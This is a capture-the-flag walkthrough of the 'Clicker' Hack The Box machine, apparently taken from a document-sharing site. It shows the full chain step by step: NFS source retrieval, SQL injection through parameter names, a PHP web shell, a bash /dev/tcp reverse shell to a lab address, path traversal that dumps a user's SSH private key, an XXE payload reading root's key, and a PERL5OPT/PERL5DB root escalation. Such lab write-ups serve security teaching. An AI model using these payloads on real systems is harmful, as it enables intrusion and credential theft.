Download as pdf or txt
Download as pdf or txt
You are on page 1of 15

Clicker

16th Jan. 2023 / Document No D24.100.264

Prepared by: amra

Machine author: Nooneye

Difficulty: Medium

Synopsis
Clicker is a Medium Linux box featuring a Web Application hosting a clicking game. Enumerating
the box, an attacker is able to mount a public NFS share and retrieve the source code of the
application, revealing an endpoint susceptible to SQL Injection. Exploiting this vulnerability, an
attacker can elevate the privileges of their account and change the username to include malicious
PHP code. Accessing the admin panel, an export feature is abused to create a PHP file including
the modified username, leading to arbitrary code execution on the machine as www-data .
Enumeration reveals an SUID binary that can access files under the home folder of the user
jack . By performing a path traversal attack on the binary, the attacker is able to get the SSH key
of jack , who is allowed to run a monitoring script with arbitrary environment variables with
sudo . The monitoring script expects a response to a curl request in XML format. The attacker,
by setting the http_proxy variable, is able to intercept and alter the response to the script, in
order to include an XXE payload to read the SSH key of the root user. Finally, the attacker is able
to use the SSH key and get access as the root user on the remote machine.

Skills Required
Enumeration

Code review

NFS shares

Skills Learned
SQL Injection

Reverse Engineering
XXE Exploitation

Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.232 | grep ^[0-9] | cut -d '/' -f 1
| tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.232

PORT STATE SERVICE VERSION


22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol
2.0)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Did not follow redirect to http://clicker.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
111/tcp open rpcbind 2-4 (RPC #100000)
<SNIP>
2049/tcp open nfs_acl 3 (RPC #100227)
37261/tcp open mountd 1-3 (RPC #100005)
39993/tcp open nlockmgr 1-4 (RPC #100021)
40417/tcp open mountd 1-3 (RPC #100005)
52313/tcp open status 1 (RPC #100024)
60655/tcp open mountd 1-3 (RPC #100005)

The Nmap output gives us a lot of information. Mainly, we can see that Apache, SSH and NFS are
listening on their default ports. Moreover, we notice that we got a hostname from the output. Let's
add it to our /etc/hosts file.

echo "10.10.11.232 clicker.htb" | sudo tee -a /etc/hosts

NFS
Let's check what directories are exported over NFS.

showmount -e clicker.htb

Export list for clicker.htb:


/mnt/backups *

We can mount the backups directory and take a look at its contents.

sudo mount -t nfs clicker.htb:/mnt/backups /mnt -o nolock

Looking at the contents of the mounted folder, we can see a Zip file. Let's copy it to our box and
extract its contents.

cp /mnt/clicker.htb_backup.zip .
unzip clicker.htb_backup.zip
Archive: clicker.htb_backup.zip
creating: clicker.htb/
inflating: clicker.htb/play.php
inflating: clicker.htb/profile.php
inflating: clicker.htb/authenticate.php
inflating: clicker.htb/create_player.php
inflating: clicker.htb/logout.php
<SNIP>
inflating: clicker.htb/register.php
inflating: clicker.htb/index.php
inflating: clicker.htb/db_utils.php
creating: clicker.htb/exports/
inflating: clicker.htb/export.php

It looks like a backup of a web application. At this point, we remember that there is an Apache
server listening on port 80. Let's visit the website and check if the application running there is the
same as the one we just got the source code for.

Apache - Port 80
Upon visiting http://clicker.htb we are presented with the following webpage.

Looking around the webpage, we find out that we can register a new user:
Once we register a new user and log in, nothing seems to significantly change to our advantage.
It's high time we looked at the source code in order to broaden our attack surface.

Foothold
Code Analysis
After spending some time reviewing the source code and its functionality, we can see a potential
SQL Injection (SQLi) in the save_profile function in the db_utils.php file, that is reachable by
any registered user.

We can trace back the execution of this function and find that it can be triggered in the play.php
page by clicking on the "Save and close" button.
Using BurpSuite to capture the request when we click on the save button, we can see that all the
GET parameters sent to save_game.php are subsequently used to construct the UPDATE query
string in the save_profile function in db_utils.php .

The string is built like clicks = '<clicks>', level = '<level>' where the values of "
<clicks> " and " <level> " are sanitized with PDO::quote and are not vulnerable to SQL injection.
However, we can modify the names of the parameters in order to inject additional columns into
the SET part of the query.
The $setStr variable is constructed as follows:

foreach ($args as $key => $value) {


$setStr .= $key . "=" . $pdo->quote($value) . ",";
}

For example, let's use the following payload in order to modify our role to "Admin". We use the
URL-encoded form of the = sign ( %3d ) to inject a further column/value assignment into the
statement, which will be concatenated into the setStr string.

/save_game.php?clicks%3d4,role%3d'Admin',clicks=4&level=0

Once we login into the application again, we can confirm we have the admin role because the
Administration option appeared.

In the admin page, we can see a table of players with the highest clicks.
By using the Export function, we can see that a POST request is executed with two parameters:
threshold (which is a hidden parameter in the HTML) and extension :

Also, in the response we can see a message that says Data has been saved in
exports/top_players_586n8am4.txt . We can try to access the file from the browser in order to
see the result:
So at this point, we can deduce that threshold is used to determine the necessary points needed
in order to be included in the Top Player table, while extension determines the file extension
of the file that will be created by the export functionality. The application lets you choose 3
different extensions ( txt , html , and json ) but does not check for the given extension in any
way, so we can change it to export .php files by modifying the value in the intercepted request.

PHP Web Shell


In order to execute code on the server, we need to insert PHP code into the exported table in
some way. We can once again exploit the first vulnerability in order to change our nickname to a
malicious one, that includes PHP code. This time, we modify the nickname column and set it to a
PHP web shell payload.

/save_game.php?clicks=8&level=0&nickname=<?php+system($_REQUEST['cmd']);?>

Now we can try to use the export function again, this time setting threshold to 0 and extension
to php :
We can confirm the RCE by visiting the generated file and setting the ?cmd=id parameter.

/exports/top_players_586n8am4.php?cmd=id

Indeed, we have code execution on the remote machine. Let's get a reverse shell.

First of all, we set up a listener on our end.

nc -lvnp 9001

Then, we use our malicious PHP file to get a reverse shell using the following payload.

bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'

Note: It's more reliable to use BurpSuite to send the URL-Encoded payload.

Listening on 0.0.0.0 9001


Connection received on 10.10.11.232 51580
bash: cannot set terminal process group (1219): Inappropriate ioctl for device
bash: no job control in this shell
www-data@clicker:/var/www/clicker.htb/exports$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

After sending the payload we get a callback on our listener and have obtained a reverse shell as
the user www-data .

We can use the following chain of commands to get a proper TTY shell.
script -c bash /dev/null
# CTRL + z
stty raw -echo; fg
# Enter twice

Lateral Movement
Now that we have a shell on the box, we can do basic enumeration and search for SUID binaries.

www-data@clicker:/$ find / -perm -u=s -type f 2>/dev/null

/usr/bin/sudo
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/fusermount3
/usr/bin/su
<SNIP>
/usr/sbin/mount.nfs
/opt/manage/execute_query

The /opt/manage/execute_query binary stands out as it's a non-default SUID binary.

Navigating to the /opt/manage directory, we can see that there is a README.txt file as well in
there with the following contents:

Web application Management

Use the binary to execute the following task:


- 1: Creates the database structure and adds user admin
- 2: Creates fake players (better not tell anyone)
- 3: Resets the admin password
- 4: Deletes all users except the admin

Using strings , we can get some clues about how the executable is operating.

www-data@clicker:/$ cd /opt/manage
www-data@clicker:/opt/manage/$ strings execute_query

<SNIP>
/home/jaH
ck/queriH
/usr/binH
/mysql -H
u clickeH
r_db_useH
r --passH
word='clH
icker_dbH
_passworH
d' clickH
er -v < H
ERROR: not enough arguments
ERROR: Invalid arguments
create.sql
populate.sql
reset_password.sql
clean.sql
File not readable or not found
<SNIP>

It seems like the executable is reading the queries it runs from the home folder of the user jack .
Moreover, there are some error messages related to missing parameters or missing files. Let's
fuzz the executable and try to reach these error messages.

If we use strace , we get the error about the missing file.

www-data@clicker:/opt/manage/$ strace ./execute_query 4

execve("./execute_query", ["./execute_query", "4"], 0x7fff59545428 /* 15 vars */)


= 0
<SNIP>
setreuid(1000, 1000) = -1 EPERM (Operation not permitted)
access("/home/jack/queries/clean.sql", R_OK) = -1 EACCES (Permission denied)
newfstatat(1, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...},
AT_EMPTY_PATH) = 0
write(1, "File not readable or not found\n", 31File not readable or not found) =
31
exit_group(0) = ?
+++ exited with 0 +++

This is because the binary couldn't set the User ID in the strace context. Moreover, we can see
that our assumptions were correct; the binary is indeed reading the queries from files inside the
/home/jack directory.

Let's try to perform a path traversal attack. To do so, let's specify an action that doesn't exist and
then give a second argument for the file to read the query from.

www-data@clicker:/$ /opt/manage/execute_query 6 ../.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----


b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
J/tSzgoR9Fko8I1UpLnHCLz2Ezsb/MrLCe8nG5TlbJrrQ4HcqnS4TKN7DZ7XW0bup3ayy1
kAAZ9Uot6ep/ekM8E+7/39VZ5fe1FwZj4iRKI+g/BVQFclsgK02B594GkOz33P/Zzte2jV
Tgmy3+htPE5My31i2lXh6XWfepiBOjG+mQDg2OySAphbO1SbMisowP1aSexKMh7Ir6IlPu
<...SNIP...>
F0YCoftLetCA/kiVtqlT0trgO8Yh+78QAAAMEAwYV0GjQs3AYNLMGccWlVFoLLPKGItynr
Xxa/j3qOBZ+HiMsXtZdpdrV26N43CmiHRue4SWG1m/Vh3zezxNymsQrp6sv96vsFjM7gAI
JJK+Ds3zu2NNNmQ82gPwc/wNM3TatS/Oe4loqHg3nDn5CEbPtgc8wkxheKARAz0SbztcJC
LsOxRu230Ti7tRBOtV153KHlE4Bu7G/d028dbQhtfMXJLu96W1l3Fr98pDxDSFnig2HMIi
lL4gSjpD/FjWk9AAAADGphY2tAY2xpY2tlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
Note: The whole part could be done in a more concrete way using Ghidra or any other
disassembler to get a better look at the executable's inner workings. Nonetheless, using
some clues and logical reasoning we were able to get what we wanted by simply fuzzing the
binary methodically. That's why we should start simple and gradually escalate our
techniques.

We can save the private key of jack to a file on our machine, use chmod 600 jack to set the
correct permissions, and log in as the user jack using SSH.

ssh -i jack jack@clicker.htb

jack@clicker:~$ id
uid=1000(jack) gid=1000(jack)
groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)

The user flag can be found in /home/jack/user.txt .

Privilege Escalation
Let's check if the user jack is able to run any commands using sudo .

jack@clicker:~$ sudo -l

Matching Defaults entries for jack on clicker:


env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/s
nap/bin, use_pty

User jack may run the following commands on clicker:


(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.sh

It seems like jack can run the /opt/monitor.sh script as root without any password. Let's
inspect the contents of the file.

jack@clicker:~$ cat /opt/monitor.sh

#!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi

set
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr
/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;

data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?
token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi

The /opt/monitor.sh script first of all checks if the calling user is root . Then, it sets the PATH
variable and unsets PERL5LIB and PERLLIB , as a form of protection. Afterwards, the script
performs a GET request to the /diagnostic.php page of the Clicker web application. This page
returns an XML file containing some diagnostic information, like memory usage. The information
is formatted using xml_pp and shown to the user. Then, if the NOSAVE environment variable is set
to "true", the script stops. Otherwise, the output of the curl command is saved in
/root/diagnostic_files , for future inspection.

Let's see an example of execution:

jack@clicker:~$ sudo /opt/monitor.sh

<?xml version="1.0"?>
<data>
<timestamp>1705924260</timestamp>
<date>2024/01/22 11:51:00am</date>
<php-version>8.1.2-1ubuntu2.14</php-version>
<test-connection-db>OK</test-connection-db>
<memory-usage>395608</memory-usage>
<environment>
<APACHE_RUN_DIR>/var/run/apache2</APACHE_RUN_DIR>
<SYSTEMD_EXEC_PID>1173</SYSTEMD_EXEC_PID>
<APACHE_PID_FILE>/var/run/apache2/apache2.pid</APACHE_PID_FILE>
<JOURNAL_STREAM>8:26775</JOURNAL_STREAM>
<PATH>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</PATH>
<INVOCATION_ID>76334d7b933945f2bae6f4e03c0de339</INVOCATION_ID>
<APACHE_LOCK_DIR>/var/lock/apache2</APACHE_LOCK_DIR>
<LANG>C</LANG>
<APACHE_RUN_USER>www-data</APACHE_RUN_USER>
<APACHE_RUN_GROUP>www-data</APACHE_RUN_GROUP>
<APACHE_LOG_DIR>/var/log/apache2</APACHE_LOG_DIR>
<PWD>/</PWD>
</environment>
</data>

Since jack can change the environment of root before the execution of the script, we can set
the variable HTTP_PROXY to redirect the request to our machine. Then, we can change the
response of the server using BurpSuite and perform an XXE attack using the following payload,
which reads and displays the root user's private SSH key:

<?xml version="1.0" encoding="ISO-8859-1"?>


<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "/root/.ssh/id_rsa" >]>
<foo>&xxe;</foo>
Note: Before running the script, make sure that BurpSuite is configured to intercept requests
on all interfaces and not just on localhost. To do so, go to the Proxy tab, then select Proxy
settings , then Edit the current active proxy listener and select All interfaces on the
Bind to adress option.

jack@clicker:~$ sudo http_proxy=http://10.10.15.25:8080 /opt/monitor.sh

We get a callback on our proxy. We have to make sure that we also intercept the response to this
request, because that is where we can inject our XXE payload.

After we forward the modified request, our payload gets executed and the root key is displayed
on our shell. We can save the root SSH key to a file, use chmod 600 root to set the correct
permissions, and log in as root using SSH.

ssh -i root root@clicker.htb

root@clicker:~# id
uid=0(root) gid=0(root) groups=0(root)

The root flag can be found in /root/root.txt .


Alternative Privilege Escalation
While the bash script correctly unsets the PERLLIB and PERL5LIB environment variables, this
precaution is insufficient.

Since the monitor.sh script calls xml_pp , which is a Perl script, the environment variables
PERL5OPT and PERL5DB can still be abused to execute arbitrary commands, in this context, as
root . This allows for the unintended exploitation path via a command such as:

jack@clicker:~$ sudo PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"'


/opt/monitor.sh
jack@clicker:~$ bash -p

root@clicker:~# id
uid=0(root) gid=0(root) groups=0(root)

You might also like